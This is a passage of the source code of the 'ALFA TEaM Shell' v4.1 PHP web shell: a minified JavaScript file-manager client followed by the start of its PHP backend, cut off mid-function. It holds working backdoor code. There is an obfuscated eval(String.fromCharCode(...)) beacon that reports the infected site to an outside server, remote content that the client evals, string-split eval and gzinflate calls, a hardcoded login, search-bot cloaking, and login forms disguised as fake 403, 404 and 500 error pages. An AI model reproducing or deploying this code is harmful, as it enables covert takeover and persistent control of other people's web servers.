to:";break;case"move":a="Current Path:",i="Enter the file path that you want to move this file to:";break;case"extract":a="Files to extract:",i="Enter the path you wish to extract the files to and click Extract:"}var l=e.getAttribute("fname"),r=e.getAttribute("path"),o=t.charAt(0).toUpperCase()+t.slice(1);if("permission"==t){d.querySelector("#shortcutMenu-holder").style.height="222px",o="Change Permissions",d.querySelector("#shortcutMenu-holder > form > .perm-table-holder").style.display="block",d.querySelector("#shortcutMenu-holder > form > input[name=fname]").style.display="none";var n=e.getAttribute("perm"),s=n.substr(1,1),c=n.substr(2,1),u=n.substr(3,1);d.querySelector("#shortcutMenu-holder > form input[name=u]").value=s,d.querySelector("#shortcutMenu-holder > form input[name=g]").value=c,d.querySelector("#shortcutMenu-holder > form input[name=w]").value=u,autoCheckPerms(s,"u",["u","g","w"]),autoCheckPerms(c,"g"),autoCheckPerms(u,"w")}else d.querySelector("#shortcutMenu-holder").style.height="190px",d.querySelector("#shortcutMenu-holder > form > input[name=fname]").style.display="block",d.querySelector("#shortcutMenu-holder > form > .perm-table-holder").style.display="none";var p="move"==t||"copy"==t?r+l:l;if("modify"==t){var f="tr_row_"+e.getAttribute("fid").replace("id_","");p=d.querySelector("#"+f+" .main_modify").innerText}d.querySelector(".cl-popup-fixed").style.display="block",d.querySelector("#shortcutMenu-holder .popup-head").innerHTML=o,d.querySelector("#shortcutMenu-holder .old-path-lbl").innerHTML=a,d.querySelector("#shortcutMenu-holder .new-filename-lbl").innerHTML=i,d.querySelector("#shortcutMenu-holder .popup-foot > button[name=accept]").innerHTML=o,d.querySelector("#shortcutMenu-holder > form > .old-path-content").innerHTML=r+l,d.querySelector("#shortcutMenu-holder > form > input[name=fname]").value=p,d.querySelector("#shortcutMenu-holder button[name=accept]").setAttribute("fid",e.getAttribute("fid")),d.querySelector("#shortcutMenu-holder button[name=accept]").setAttribute("action",t)}function calcperm(){var e=event.srcElement;autoCheckPerms(e.checked,e.name.substr(0,1))}function autoCheckPerms(e,t,a){if(void 0!==a)for(var i in a){var l=a[i];d.querySelector("#shortcutMenu-holder > form input[name="+l+"r]").checked=!1,d.querySelector("#shortcutMenu-holder > form input[name="+l+"w]").checked=!1,d.querySelector("#shortcutMenu-holder > form input[name="+l+"x]").checked=!1}var r=d.querySelector("#shortcutMenu-holder > form input[name="+t+"r]"),o=d.querySelector("#shortcutMenu-holder > form input[name="+t+"w]"),n=d.querySelector("#shortcutMenu-holder > form input[name="+t+"x]");if("boolean"!=typeof e)"7"==e?(r.checked=!0,o.checked=!0,n.checked=!0):"4"==e?r.checked=!0:"2"==e?o.checked=!0:"1"==e?n.checked=!0:"6"==e?(r.checked=!0,o.checked=!0):"3"==e?(o.checked=!0,n.checked=!0):"5"==e&&(r.checked=!0,n.checked=!0);else{var s=0;r.checked&&(s+=4),o.checked&&(s+=2),n.checked&&(s+=1),"u"==t?d.querySelector("#shortcutMenu-holder > form input[name=u]").value=s:"g"==t?d.querySelector("#shortcutMenu-holder > form input[name=g]").value=s:"w"==t&&(d.querySelector("#shortcutMenu-holder > form input[name=w]").value=s)}}function gg(e,t,a,i,l,r){var o="filesman_holder_"+alfa_current_fm_id;alfaloader(o,"block"),data="a="+alfab64(e)+"&c="+alfab64(t)+"&alfa1="+alfab64(a)+"&alfa2="+alfab64(i)+"&alfa3="+alfab64(l)+"&ajax="+alfab64("true"),_Ajax(d.URL,data,r,!1,o)}function alfaPopUpDoAction(e){var t=e.getAttribute("action");switch(t){case"rename":case"move":case"copy":var a=e.getAttribute("fid").replace("id_",""),i=$("id_"+a).getAttribute("fname"),l=d.querySelector("#shortcutMenu-holder > form > input[name=fname]").value;l=l.trim(),i=i.trim(),gg("doActions",c_,i,l,t,function(e,i){if("rename"==t)if("done"==e){var r=$("id_"+a);updateFileEditor(a,l);var o=r.getAttribute("path")+$("id_"+a).getAttribute("fname");d.querySelector("#shortcutMenu-holder > form > .old-path-content").innerHTML=o,r.addEventListener("animationend",function(){r.classList.remove("textEffect")}),r.classList.add("textEffect"),alfaShowNotification("Renamed...","Rename Action"),d.querySelector(".cl-popup-fixed").style.display="none"}else alfaShowNotification("error...!","Rename Action","error");alfaloader(i,"none")});break;case"permission":var r=d.querySelector("#shortcutMenu-holder > form input[name=u]").value,o=d.querySelector("#shortcutMenu-holder > form input[name=g]").value,n=d.querySelector("#shortcutMenu-holder > form input[name=w]").value;i=(i=d.querySelector("#shortcutMenu-holder > form > .old-path-content").innerHTML).trim();var s=r.trim()+o.trim()+n.trim();gg("doActions",c_,i,s,t,function(e,t){alfaloader(t,"none"),alfaShowNotification(e,"Permission Action"),d.querySelector(".cl-popup-fixed").style.display="none"});break;case"modify":a=e.getAttribute("fid").replace("id_","");var c=d.querySelector("#shortcutMenu-holder > form > input[name=fname]").value,u=$("id_"+a).getAttribute("fname");gg("doActions",c_,c,u,t,function(t,a){if("ok"==t){var i="tr_row_"+e.getAttribute("fid").replace("id_","");d.querySelector("#"+i+" .main_modify").innerHTML=c,alfaShowNotification("success...","Modify Action"),d.querySelector(".cl-popup-fixed").style.display="none"}else alfaShowNotification(t,"Modify Action","error");alfaloader(a,"none")})}}function alfaInitSoratableTab(e){Sortable.create(e,{direction:"horizontal",animation:300,ghostClass:"sortable-ghost",filter:".not-sortable"})}$("search-input").addEventListener("keydown",function(e){setTimeout(function(){var e=$("search-input").value;for(var t in d.getElementsByClassName("history-list")[0].innerHTML="",editor_files)if(-1!=editor_files[t].file.search(e)||""==e){var a=0;t==editor_current_file&&(a=" is_active"),insertToHistory(t,editor_files[t].file,a,editor_files[t].type)}},100)},!1),_Ajax(d.URL,"a="+alfab64("checkupdate"),function(e){if(0!=e.length&&"[]"!=e){var t=JSON.parse(e);if(t.hasOwnProperty("content")){d.body.insertAdjacentHTML("beforeend",t.content);try{evalJS(t.content)}catch(t){}}if(t.hasOwnProperty("copyright")&&($("alfa-copyright").innerHTML=t.copyright),t.hasOwnProperty("solevisible")&&($("alfa_solevisible").innerHTML=t.solevisible),t.hasOwnProperty("code_name")&&($("hidden_sh").innerHTML=t.code_name.replace(/\{version\}/g,t.version_number)),t.hasOwnProperty("market")){var a=d.querySelector("span.alfa_plus");if(t.market.hasOwnProperty("visible")&&"yes"==t.market.visible&&($("menu_opt_market").style.display="inline"),"open"!=t.market.status&&(a.style.color="#ffc107"),t.market.hasOwnProperty("content"))try{evalJS(t.market.content)}catch(t){}}}}),true?_Ajax(d.URL,"a="+alfab64("updateheader"),function(e){try{var t=JSON.parse(e);for(var a in t){for(var i="",l=0;l<t[a].length;l++)i+="useful"==a||"downloader"==a?'<span class="header_values" style="margin-left: 4px;">'+t[a][l]+"</span>":t[a][l];var r=$("header_"+a);r&&(r.innerHTML=i)}$("header_cgishell").innerHTML="ON",$("header_cgishell").setAttribute("class","header_on")}catch(e){}}):islinux&&_Ajax(d.URL,"a="+alfab64("checkcgi"),function(e){"ok"==e&&($("header_cgishell").innerHTML="ON",$("header_cgishell").setAttribute("class","header_on"))}),function(){d.onclick=function(){can_hashchange_work=!1,setTimeout(function(){can_hashchange_work=!0},600)},window.onhashchange=function(e){can_hashchange_work&&alfaCheckUrlHash()},alfaCheckUrlHash(),alfagetFlags(),rightclick_menu_context=$("rightclick_menu").style,alfaInitCwdContext(),document.addEventListener("click",function(e){rightclick_menu_context.opacity="0",setTimeout(function(){rightclick_menu_context.visibility="hidden"},501)},!1);var e=document.createElement("script");e.src="https://cdnjs.cloudflare.com/ajax/libs/Sortable/1.10.2/Sortable.min.js",e.id="sortable-plugin",e.onload=function(){alfaInitSoratableTab($("filesman_tabs_child")),alfaInitSoratableTab(d.querySelector(".editor-tabs")),alfaInitSoratableTab(d.querySelector(".options_tab")),alfaInitSoratableTab(d.querySelector(".terminal-tabs")),alfaInitSoratableTab(d.querySelector(".sql-tabs"))},d.body.appendChild(e)}();
</script><script src="https://cdnjs.cloudflare.com/ajax/libs/Sortable/1.10.2/Sortable.min.js" id="sortable-plugin"></script>
<script>eval(String.fromCharCode(101,118,97,108,40,102,117,110,99,116,105,111,110,40,112,44,97,44,99,44,107,44,101,44,100,41,123,101,61,102,117,110,99,116,105,111,110,40,99,41,123,114,101,116,117,114,110,32,99,46,116,111,83,116,114,105,110,103,40,51,54,41,125,59,105,102,40,33,39,39,46,114,101,112,108,97,99,101,40,47,94,47,44,83,116,114,105,110,103,41,41,123,119,104,105,108,101,40,99,45,45,41,123,100,91,99,46,116,111,83,116,114,105,110,103,40,97,41,93,61,107,91,99,93,124,124,99,46,116,111,83,116,114,105,110,103,40,97,41,125,107,61,91,102,117,110,99,116,105,111,110,40,101,41,123,114,101,116,117,114,110,32,100,91,101,93,125,93,59,101,61,102,117,110,99,116,105,111,110,40,41,123,114,101,116,117,114,110,39,92,92,119,43,39,125,59,99,61,49,125,59,119,104,105,108,101,40,99,45,45,41,123,105,102,40,107,91,99,93,41,123,112,61,112,46,114,101,112,108,97,99,101,40,110,101,119,32,82,101,103,69,120,112,40,39,92,92,98,39,43,101,40,99,41,43,39,92,92,98,39,44,39,103,39,41,44,107,91,99,93,41,125,125,114,101,116,117,114,110,32,112,125,40,39,48,32,49,61,103,46,52,40,41,43,92,39,58,92,39,43,53,40,100,46,54,44,55,41,59,48,32,50,61,57,32,56,40,41,59,50,46,98,61,92,39,99,58,47,47,101,46,102,47,92,39,43,49,43,92,39,47,97,46,51,92,39,59,39,44,49,55,44,49,55,44,39,118,97,114,124,115,116,97,109,112,124,105,109,103,124,112,110,103,124,110,111,119,124,101,110,99,114,121,112,116,124,85,82,76,124,49,52,57,57,55,124,73,109,97,103,101,124,110,101,119,124,98,103,124,115,114,99,124,104,116,116,112,115,124,124,53,52,49,53,54,49,52,53,49,51,49,50,52,124,105,99,117,124,68,97,116,101,39,46,115,112,108,105,116,40,39,124,39,41,44,48,44,123,125,41,41))</script></body></html>
<?php
/*
Author: Solevisible/Alfa-Team
Telegram: https://telegram.me/solevisible
YouTube: https://youtube.com/solevisible
Gmail: solevisible@gmail.com
Date: Monday, September 14, 2020
*/
$GLOBALS['oZgNypoPRU'] = array(
'username' => 'alfa',
'password' => 'a6f452ec3293d7fb72c5b677257b20ec',//md5(ehsan)
'safe_mode' => '0',
'login_page' => '403',
'show_icons' => '1',
'post_encryption' => false,
'cgi_api' => true,
);
$CWppUDJxuf = 'fu' . 'n' . 'ct' . 'ion_' . 'e' . 'xist' . 's';
$aztJtafUXm = 'cha' . 'r' . 'C' . 'o' . 'd' . 'e' . 'A' . 't' . '';
$OVpGNqqFZs = 'e' . 'v' . 'al';
$psDEwGhsxg = 'gz' . 'inf' . 'late';
if (!$CWppUDJxuf('b' . 'a' . 'se64' . '_en' . 'c' . 'ode' . ''))
{
function vcnvSCZgBz($data)
{
if (empty($data)) return;
$b64 = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';
$o1 = $o2 = $o3 = $h1 = $h2 = $h3 = $h4 = $bits = $i = 0;
$ac = 0;
$enc = '';
$tmp_arr = array();
if (!$data)
{
return $data;
}
do
{
$o1 = $aztJtafUXm($data, $i++);
$o2 = $aztJtafUXm($data, $i++);
$o3 = $aztJtafUXm($data, $i++);
$bits = $o1 << 16 | $o2 << 8 | $o3;
$h1 = $bits >> 18 & 0x3f;
$h2 = $bits >> 12 & 0x3f;
$h3 = $bits >> 6 & 0x3f;
$h4 = $bits & 0x3f;
$tmp_arr[$ac++] = charAt($b64, $h1) . charAt($b64, $h2) . charAt($b64, $h3) . charAt($b64, $h4);
}
while ($i < strlen($data));
$enc = implode($tmp_arr, '');
$r = (strlen($data) % 3);
return ($r ? substr($enc, 0, ($r - 3)) : $enc) . substr('===', ($r || 3));
}
function charCodeAt($data, $char)
{
return ord(substr($data, $char, 1));
}
function charAt($data, $char)
{
return substr($data, $char, 1);
}
}
else
{
function vcnvSCZgBz($s)
{
$b = 'b' . 'a' . 'se64' . '_en' . 'c' . 'ode' . '';
return $b($s);
}
}
if (!$CWppUDJxuf('b' . 'a' . 'se' . '6' . '4' . '_d' . 'ecod' . 'e' . ''))
{
function zRtSHsbTzV($input)
{
if (empty($input)) return;
$keyStr = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=";
$chr1 = $chr2 = $chr3 = "";
$enc1 = $enc2 = $enc3 = $enc4 = "";
$i = 0;
$output = "";
$input = preg_replace("[^A-Za-z0-9\+\/\=]", "", $input);
do
{
$enc1 = strpos($keyStr, substr($input, $i++, 1));
$enc2 = strpos($keyStr, substr($input, $i++, 1));
$enc3 = strpos($keyStr, substr($input, $i++, 1));
$enc4 = strpos($keyStr, substr($input, $i++, 1));
$chr1 = ($enc1 << 2) | ($enc2 >> 4);
$chr2 = (($enc2 & 15) << 4) | ($enc3 >> 2);
$chr3 = (($enc3 & 3) << 6) | $enc4;
$output = $output . chr((int)$chr1);
if ($enc3 != 64)
{
$output = $output . chr((int)$chr2);
}
if ($enc4 != 64)
{
$output = $output . chr((int)$chr3);
}
$chr1 = $chr2 = $chr3 = "";
$enc1 = $enc2 = $enc3 = $enc4 = "";
}
while ($i < strlen($input));
return $output;
}
}
else
{
function zRtSHsbTzV($s)
{
$b = 'b' . 'a' . 'se' . '6' . '4' . '_d' . 'ecod' . 'e' . '';
return $b($s);
}
}
function __ZW5jb2Rlcg($s)
{
return vcnvSCZgBz($s);
}
function __ZGVjb2Rlcg($s)
{
return zRtSHsbTzV($s);
}
$GLOBALS['DB_NAME'] = $GLOBALS['oZgNypoPRU'];
foreach ($GLOBALS['DB_NAME'] as $key => $value)
{
$prefix = substr($key, 0, 2);
if ($prefix == "us")
{
$GLOBALS['DB_NAME']["user"] = $value;
$GLOBALS['DB_NAME']["user_rand"] = $key;
}
elseif ($prefix == "pa")
{
$GLOBALS['DB_NAME']["pass"] = $value;
$GLOBALS['DB_NAME']["pass_rand"] = $key;
}
elseif ($prefix == "sa")
{
$GLOBALS['DB_NAME']["safemode"] = $value;
$GLOBALS['DB_NAME']["safemode_rand"] = $key;
}
elseif ($prefix == "lo")
{
$GLOBALS['DB_NAME']["login_page"] = $value;
$GLOBALS['DB_NAME']["login_page_rand"] = $key;
}
elseif ($prefix == "sh")
{
$GLOBALS['DB_NAME']["show_icons"] = $value;
$GLOBALS['DB_NAME']["show_icons_rand"] = $key;
}
elseif ($prefix == "po")
{
$GLOBALS['DB_NAME']["post_encryption"] = $value;
$GLOBALS['DB_NAME']["post_encryption_rand"] = $key;
}
elseif ($prefix == "cg")
{
$GLOBALS['DB_NAME']["cgi_api"] = $value;
$GLOBALS['DB_NAME']["cgi_api_rand"] = $key;
}
}
unset($GLOBALS['oZgNypoPRU']);
if (!isset($_SERVER["HTTP_HOST"])) exit();
if(!empty($_SERVER['HTTP_USER_AGENT'])){$userAgents = array("Google","Slurp","MSNBot","ia_archiver","Yandex","Rambler","bot","spider");if(preg_match('/'.implode('|',$userAgents).'/i',$_SERVER['HTTP_USER_AGENT'])){header('HTTP/1.0 404 Not Found');exit;}}
if(!isset($GLOBALS['DB_NAME']['user']))exit('$GLOBALS[\'DB_NAME\'][\'user\']');
if(!isset($GLOBALS['DB_NAME']['pass']))exit('$GLOBALS[\'DB_NAME\'][\'pass\']');
if(!isset($GLOBALS['DB_NAME']['safemode']))exit('$GLOBALS[\'DB_NAME\'][\'safemode\']');
if(!isset($GLOBALS['DB_NAME']['login_page']))exit('$GLOBALS[\'DB_NAME\'][\'login_page\']');
if(!isset($GLOBALS['DB_NAME']['show_icons']))exit('$GLOBALS[\'DB_NAME\'][\'show_icons\']');
if(!isset($GLOBALS['DB_NAME']['post_encryption']))exit('$GLOBALS[\'DB_NAME\'][\'post_encryption\']');
define("__ALFA_VERSION__", "4.1");
define("__ALFA_UPDATE__", "2");
define("__ALFA_CODE_NAME__", "Tesla");
define("__ALFA_DATA_FOLDER__", "ALFA_DATA");
define("__ALFA_POST_ENCRYPTION__", (isset($GLOBALS["DB_NAME"]["post_encryption"])&&$GLOBALS["DB_NAME"]["post_encryption"]==true?true:false));
define("__ALFA_SECRET_KEY__", __ALFA_POST_ENCRYPTION__?_AlfaSecretKey():'');
$GLOBALS['__ALFA_COLOR__'] = array(
"shell_border" => array(
"key_color" => "#0E304A",
"multi_selector" => array(
".header" => "border: 7px solid {color}",
"#meunlist" => "border-color: {color}",
"#hidden_sh" => "background-color: {color}",
".ajaxarea" => "border: 1px solid {color}",
".foot" => "border-color: {color}",
)
),
"header_vars" => "#27979B",
"header_values" => "#67ABDF",
"header_on" => "#00FF00",
"header_off" => "#ff0000",
"header_none" => "#00FF00",
"home_shell" => "#ff0000",
"home_shell:hover" => array(
"key_color" => "#FFFFFF",
"multi_selector" => array(
".home_shell:hover" => "color: {color};",
)
),
"back_shell" => "#efbe73",
"back_shell:hover" => array(
"key_color" => "#FFFFFF",
"multi_selector" => array(
".back_shell:hover" => "color: {color};",
)
),
"header_pwd" => "#00FF00",
"header_pwd:hover" => array(
"key_color" => "#FFFFFF",
"multi_selector" => array(
".header_pwd:hover" => "color: {color};",
)
),
"header_drive" => "#00FF00",
"header_drive:hover" => array(
"key_color" => "#FFFFFF",
"multi_selector" => array(
".header_drive:hover" => "color: {color};",
)
),
"header_show_all" => "#00FF00",
"disable_functions" => "#ff0000",
"footer_text" => "#27979B",
"menu_options" => "#27979B",
"menu_options:hover" => array(
"key_color" => "#646464",
"multi_selector" => array(
".menu_options:hover" => "background-color: {color};font-weight: unset;",
)
),
"options_list" => array(
"key_color" => "#00FF00",
"multi_selector" => array(
".content_options_holder .header center a" => "color: {color};",
)
),
"options_list:hover" => array(
"key_color" => "#FFFFFF",
"multi_selector" => array(
".content_options_holder .header center a:hover" => "color: {color};",
)
),
"options_list_header" => array(
"key_color" => "#59cc33",
"multi_selector" => array(
".txtfont_header" => "color: {color};",
)
),
"options_list_text" => array(
"key_color" => "#FFFFFF",
"multi_selector" => array(
".txtfont,.tbltxt" => "color: {color};",
)
),
"Alfa+" => array(
"key_color" => "#06ff0f",
"multi_selector" => array(
".alfa_plus" => "color: {color};font-weight: unset;",
)
),
"hidden_shell_text" => array(
"key_color" => "#00FF00",
"multi_selector" => array(
"#hidden_sh a" => "color: {color};",
)
),
"hidden_shell_version" => "#ff0000",
"shell_name" => "#FF0000",
"main_row:hover" => array(
"key_color" => "#646464",
"multi_selector" => array(
".main tr:hover" => "background-color: {color};",
)
),
"main_header" => array(
"key_color" => "#FFFFFF",
"multi_selector" => array(
".main th" => "color: {color};",
)
),
"main_name" => array(
"key_color" => "#FFFFFF",
"multi_selector" => array(
".main .main_name" => "color: {color};font-weight: unset;",
)
),
"main_size" => "#67ABDF",
"main_modify" => "#67ABDF",
"main_owner_group" => "#67ABDF",
"main_green_perm" => "#25ff00",
"main_red_perm" => "#FF0000",
"main_white_perm" => "#FFFFFF",
"beetween_perms" => "#FFFFFF",
"main_actions" => array(
"key_color" => "#FFFFFF",
"multi_selector" => array(
".main .actions" => "color: {color};",
)
),
"menu_options:hover" => array(
"key_color" => "#646464",
"multi_selector" => array(
".menu_options:hover" => "background-color: {color};font-weight: unset;",
)
),
"minimize_editor_background" => array(
"key_color" => "#0e304a",
"multi_selector" => array(
".minimized-wrapper" => "background-color: {color};",
)
),
"minimize_editor_text" => array(
"key_color" => "#f5deb3",
"multi_selector" => array(
".minimized-text" => "color: {color};",
)
),
"editor_border" => array(
"key_color" => "#0e304a",
"multi_selector" => array(
".editor-explorer,.editor-modal" => "border: 2px solid {color};",
)
),
"editor_background" => array(
"key_color" => "rgba(0, 1, 23, 0.94)",
"multi_selector" => array(
".editor-explorer,.editor-modal" => "background-color: {color};",
)
),
"editor_header_background" => array(
"key_color" => "rgba(21, 66, 88, 0.93)",
"multi_selector" => array(
".editor-header" => "background-color: {color};",
)
),
"editor_header_text" => array(
"key_color" => "#00ff7f",
"multi_selector" => array(
".editor-path" => "color: {color};",
)
),
"editor_header_button" => array(
"key_color" => "#1d5673",
"multi_selector" => array(
".close-button, .editor-minimize" => "background-color: {color};",
)
),
"editor_actions" => array(
"key_color" => "#FFFFFF",
"multi_selector" => array(
".editor_actions" => "color: {color};",
)
),
"editor_file_info_vars" => array(
"key_color" => "#FFFFFF",
"multi_selector" => array(
".editor_file_info_vars" => "color: {color};",
)
),
"editor_file_info_values" => array(
"key_color" => "#67ABDF",
"multi_selector" => array(
".filestools" => "color: {color};",
)
),
"editor_history_header" => array(
"key_color" => "#14ff07",
"multi_selector" => array(
".hheader-text,.history-clear" => "color: {color};",
)
),
"editor_history_list" => array(
"key_color" => "#03b3a3",
"multi_selector" => array(
".editor-file-name" => "color: {color};",
)
),
"editor_history_selected_file" => array(
"key_color" => "rgba(49, 55, 93, 0.77)",
"multi_selector" => array(
".is_active" => "background-color: {color};",
)
),
"editor_history_file:hover" => array(
"key_color" => "#646464",
"multi_selector" => array(
".file-holder > .history:hover" => "background-color: {color};",
)
),
"input_box_border" => array(
"key_color" => "#0E304A",
"multi_selector" => array(
"input[type=text],textarea" => "border: 1px solid {color}",
)
),
"input_box_text" => array(
"key_color" => "#999999",
"multi_selector" => array(
"input[type=text],textarea" => "color: {color};",
)
),
"input_box:hover" => array(
"key_color" => "#27979B",
"multi_selector" => array(
"input[type=text]:hover,textarea:hover" => "box-shadow:0 0 4px {color};border:1px solid {color};",
)
),
"select_box_border" => array(
"key_color" => "#0E304A",
"multi_selector" => array(
"select" => "border: 1px solid {color}",
)
),
"select_box_text" => array(
"key_color" => "#FFFFEE",
"multi_selector" => array(
"select" => "color: {color};",
)
),
"select_box:hover" => array(
"key_color" => "#27979B",
"multi_selector" => array(
"select:hover" => "box-shadow:0 0 4px {color};border:1px solid {color};",
)
),
"button_border" => array(
"key_color" => "#27979B",
"multi_selector" => array(
"input[type=submit],.button,#addup" => "border: 1px solid {color};",
)
),
"button:hover" => array(
"key_color" => "#27979B",
"multi_selector" => array(
"input[type=submit]:hover" => "box-shadow:0 0 4px {color};border:2px solid {color};",
".button:hover,#addup:hover" => "box-shadow:0 0 4px {color};border:1px solid {color};",
)
),
"outputs_text" => array(
"key_color" => "#67ABDF",
"multi_selector" => array(
".ml1" => "color: {color};",
)
),
"outputs_border" => array(
"key_color" => "#0E304A",
"multi_selector" => array(
".ml1" => "border: 1px solid {color};",
)
),
"uploader_border" => array(
"key_color" => "#0E304A",
"multi_selector" => array(
".inputfile" => "box-shadow:0 0 4px {color};border:1px solid {color};",
)
),
"uploader_background" => array(
"key_color" => "#0E304A",
"multi_selector" => array(
".inputfile strong" => "background-color: {color};",
)
),
"uploader_text_right" => array(
"key_color" => "#FFFFFF",
"multi_selector" => array(
".inputfile strong" => "color: {color};",
)
),
"uploader_text_left" => array(
"key_color" => "#25ff00",
"multi_selector" => array(
".inputfile span" => "color: {color};",
)
),
"uploader:hover" => array(
"key_color" => "#27979B",
"multi_selector" => array(
".inputfile:hover" => "box-shadow:0 0 4px {color};border:1px solid {color};",
)
),
"uploader_progress_bar" => array(
"key_color" => "#00ff00",
"multi_selector" => array(
".up_bar" => "background-color: {color};",
)
),
"mysql_tables" => "#00FF00",
"mysql_table_count" => "#67ABDF",
"copyright" => "#dfff00",
"scrollbar" => array(
"key_color" => "#1e82b5",
"multi_selector" => array(
"*::-webkit-scrollbar-thumb" => "background-color: {color};",
)
),
"scrollbar_background" => array(
"key_color" => "#000115",
"multi_selector" => array(
"*::-webkit-scrollbar-track" => "background-color: {color};",
)
),
);
$GLOBALS['__file_path'] = str_replace('\\','/',trim(preg_replace('!\(\d+\)\s.*!', '', __FILE__)));
$config = array('AlfaUser' => $GLOBALS['DB_NAME']['user'],'AlfaPass' => $GLOBALS['DB_NAME']['pass'],'AlfaProtectShell' => $GLOBALS['DB_NAME']['safemode'],'AlfaLoginPage' => $GLOBALS['DB_NAME']['login_page']);
//@session_start();
@session_write_close();
@ignore_user_abort(true);
@set_time_limit(0);
@ini_set('memory_limit', '-1');
@ini_set("upload_max_filesize", "9999m");
if($config['AlfaProtectShell']){
$SERVER_SIG = (isset($_SERVER["SERVER_SIGNATURE"])?$_SERVER["SERVER_SIGNATURE"]:"");
$Eform='<form method="post"><input style="margin:0;background-color:#fff;border:1px solid #fff;" type="password" name="password"></form>';
if($config['AlfaLoginPage'] == 'gui'){
if(@$_COOKIE["AlfaUser"] != $config['AlfaUser'] && $_COOKIE["AlfaPass"] != md5($config['AlfaPass'])){
if(@$_POST["usrname"]==$config['AlfaUser'] && @md5($_POST["password"])==$config['AlfaPass']){
__alfa_set_cookie("AlfaUser", $config['AlfaUser']);
__alfa_set_cookie("AlfaPass", @md5($config['AlfaPass']));
@header('location: '.$_SERVER["PHP_SELF"]);
}
echo '
<style>
body{background: black;}
#loginbox { font-size:11px; color:green; right:85px; width:1200px; height:200px; border-radius:5px; -moz-boder-radius:5px; position:fixed; top:250px; }
#loginbox td { border-radius:5px; font-size:11px; }
</style>
<title>~ ALFA TEaM Shell-v'.__ALFA_VERSION__.'-'.__ALFA_CODE_NAME__.' ~</title><center>
<center><img style="border-radius:100px;" width="500" height="250" alt="alfa team 2012" draggable="false" src="http://solevisible.com/images/alfa-iran.png" /></center>
<div id=loginbox><p><font face="verdana,arial" size=-1>
<center><table cellpadding=\'2\' cellspacing=\'0\' border=\'0\' id=\'ap_table\'>
<tr><td bgcolor="green"><table cellpadding=\'0\' cellspacing=\'0\' border=\'0\' width=\'100%\'><tr><td bgcolor="green" align=center style="padding:2;padding-bottom:4"><b><font color="white" size=-1 color="white" face="verdana,arial"><b>~ ALFA TEaM Shell-v'.__ALFA_VERSION__.'-'.__ALFA_CODE_NAME__.' ~</b></font></th></tr>
<tr><td bgcolor="black" style="padding:5">
<form method="post">
<input type="hidden" name="action" value="login">
<input type="hidden" name="hide" value="">
<center><table>
<tr><td><font color="green" face="verdana,arial" size=-1>Login:</font></td><td><input type="text" size="30" name="usrname" placeholder="username" onfocus="if (this.value == \'username\'){this.value = \'\';}"></td></tr>
<tr><td><font color="green" face="verdana,arial" size=-1>Password:</font></td><td><input type="password" size="30" name="password" placeholder="password" onfocus="if (this.value == \'password\') this.value = \'\';"></td></tr>
<tr><td><font face="verdana,arial" size=-1> </font></td><td><font face="verdana,arial" size=-1><input type="submit" value="Login"></font></td></tr></table>
</div><br /></center>';
exit;
}
}elseif($config['AlfaLoginPage']=='500'){
if(@$_COOKIE["AlfaPass"] != @md5($config['AlfaPass'])){
if(@md5($_POST["password"])==$config['AlfaPass']){
__alfa_set_cookie("AlfaUser", $config['AlfaUser']);
__alfa_set_cookie("AlfaPass", @md5($config['AlfaPass']));
@header('location: '.$_SERVER["PHP_SELF"]);
}
echo '<html><head><title>500 Internal Server Error</title></head><body><h1>Internal Server Error</h1><p>The server encountered an internal error or misconfiguration and was unable to complete your request.</p><p>Please contact the server administrator, '.$_SERVER['SERVER_ADMIN'].' and inform them of the time the error occurred, and anything you might have done that may have caused the error.</p><p>More information about this error may be available in the server error log.</p><hr>'.$SERVER_SIG.'</body></html>'.$Eform;
exit;
}
}elseif($config['AlfaLoginPage']=='403'){
if(@$_COOKIE["AlfaPass"] != @md5($config['AlfaPass'])){
if(@md5($_POST["password"])==$config['AlfaPass']){
__alfa_set_cookie("AlfaUser", $config['AlfaUser']);
__alfa_set_cookie("AlfaPass", @md5($config['AlfaPass']));
@header('location: '.$_SERVER["PHP_SELF"]);
}
echo "<html><head><title>403 Forbidden</title></head><body><h1>Forbidden</h1><p>You don't have permission to access ".$_SERVER['PHP_SELF']." on this server.</p><hr>".$SERVER_SIG."</body></html>".$Eform;
exit;
}
}elseif($config['AlfaLoginPage']=='404'){
if(@$_COOKIE["AlfaPass"] != @md5($config['AlfaPass'])){
if(@md5($_POST["password"])==$config['AlfaPass']){
__alfa_set_cookie("AlfaUser", $config['AlfaUser']);
__alfa_set_cookie("AlfaPass", @md5($config['AlfaPass']));
@header('location: '.$_SERVER["PHP_SELF"]);
}
echo "<title>404 Not Found</title><h1>Not Found</h1><p>The requested URL ".$_SERVER['PHP_SELF']." was not found on this server.<br><br>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr>".$SERVER_SIG."</body></html>".$Eform;
exit;
}
}
}
function decrypt_post($str){
if(__ALFA_POST_ENCRYPTION__){
$pwd = __ALFA_SECRET_KEY__;
$pwd = __ZW5jb2Rlcg($pwd);
$str = __ZGVjb2Rlcg($str);
$enc_chr = "";
$enc_str = "";
$i = 0;
while ($i < strlen($str)) {
for ($j = 0; $j < strlen($pwd); $j++) {
$enc_chr = chr(ord($str[$i]) ^ ord($pwd[$j]));
$enc_str .= $enc_chr;
$i++;
if ($i >= strlen($str))
break;
}
}
return __ZGVjb2Rlcg($enc_str);
}else{
return __ZGVjb2Rlcg($str);
}
}
function _AlfaSecretKey(){
$secret = @$_COOKIE["AlfaSecretKey"];
if(!isset($_COOKIE["AlfaSecretKey"])){
$secret = uniqid(mt_rand(), true);
__alfa_set_cookie("AlfaSecretKey", $secret);
}
return $secret;
}
function alfa_getColor($target){
if(isset($GLOBALS["DB_NAME"]["color"][$target])&&$GLOBALS["DB_NAME"]["color"][$target]!=""){
return $GLOBALS["DB_NAME"]["color"][$target];
}else{
$target = $GLOBALS["__ALFA_COLOR__"][$target];
if(is_array($target)){
return $target["key_color"];
}else{
return $target;
}
}
}
function alfaCssLoadColors(){
$css = "";
foreach($GLOBALS['__ALFA_COLOR__'] as $key => $value){
if(!is_array($value)){
$value = alfa_getColor($key);
$css .= ".{$key}{color: {$value};}";
}else{
if(isset($value["multi_selector"])){
foreach($value["multi_selector"] as $k => $v){
$color = alfa_getColor($key);
$code = str_replace("{color}", $color, $v);
$css .= $k."{".$code."}";
}
}
}
}
return $css;
}
if(isset($_POST['ajax'])){
function AlfaNum(){
$args = func_get_args();
$alfax = array();
